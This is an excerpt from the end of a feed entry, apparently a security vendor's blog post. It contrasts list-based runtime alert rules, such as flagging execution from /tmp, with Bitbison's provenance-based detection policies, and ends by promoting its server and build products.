    parent=%proc.pname container_id=%container.id image=%container.image.repository)&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;priority&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; WARNING
  &lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;mitre_execution&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; T1059&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; filesystem&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In other words, if a process is spawned and its executable begins with /tmp or /var/tmp, trigger an alert.
This rule is typically evaded. Even commodity bots and exploits will avoid such directories. In the
Log4Shell breach described earlier, detection was evaded because the attacker executed malware from a
service directory.&lt;/p&gt;
&lt;p&gt;Fundamentally, modern policies are little more than allow and deny lists.&lt;/p&gt;
&lt;h3 id=&quot;a-better-approach&quot;&gt;A better approach&lt;/h3&gt;
&lt;p&gt;Pattern matching has a place but a stronger approach can replace most of its use cases. Bitbison makes
full causal logging practical. This means it can reason statefully over the system and its history,
including provenance: how things came to be on the system. Once questions like &amp;quot;who created this file?&amp;quot;
and &amp;quot;which network endpoints influenced its creation?&amp;quot; can be answered in near real time, policies can be
defined against the state of the system and flows of behavior, much closer to their true intention. In the
example above, the intention is to only permit trusted programs to execute. Trust is defined by the
provenance of the file: who installed it and from where. Bitbison can specify this directly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alert on $e:fspath →[execute] _ unless (
 pkgmgr →[proc] $i:thd, $i →[write] $e, conns($i) ⊆ repos );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In other words, the policy directly specifies &amp;quot;alert on any executable whose origin and contents cannot be
exclusively traced back to the package manager installing from an official repository.&lt;/p&gt;
&lt;p&gt;There are no false positives here and there is no list to evade. The origin of everything is always available
to query against.&lt;/p&gt;
&lt;h2 id=&quot;what-made-this-possible&quot;&gt;What made this possible&lt;/h2&gt;
&lt;p&gt;It was not easy. We went back to fundamentals and rethought the observability
data model itself: data structures, memory management, allocation and data
representation both in memory and on disk. Bitbison pairs several novel
approaches to that data model with current techniques in vectorization,
concurrent data structures and storage representation. It is the result of the
collective experience of our whole careers.&lt;/p&gt;
&lt;h2 id=&quot;what-comes-next&quot;&gt;What comes next&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;/servers.html&quot;&gt;Bitbison for Servers&lt;/a&gt; and &lt;a href=&quot;/builds.html&quot;&gt;Bitbison for Builds&lt;/a&gt; are available today for design partners, all under
the umbrella of a holistic security platform that begins by securing your most important assets and the workloads they run on.&lt;/p&gt;
&lt;p&gt;You will work closely with our team and have a direct impact on our capabilities
and supported use cases. The surface area is broad. As the team scales out, we
imagine a single platform covering endpoints, servers, agents, developer
workstations and more. The more complete the provenance graph, the stronger
the security guarantees that can be made.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/#access&quot;&gt;Request a demo&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
</feed>
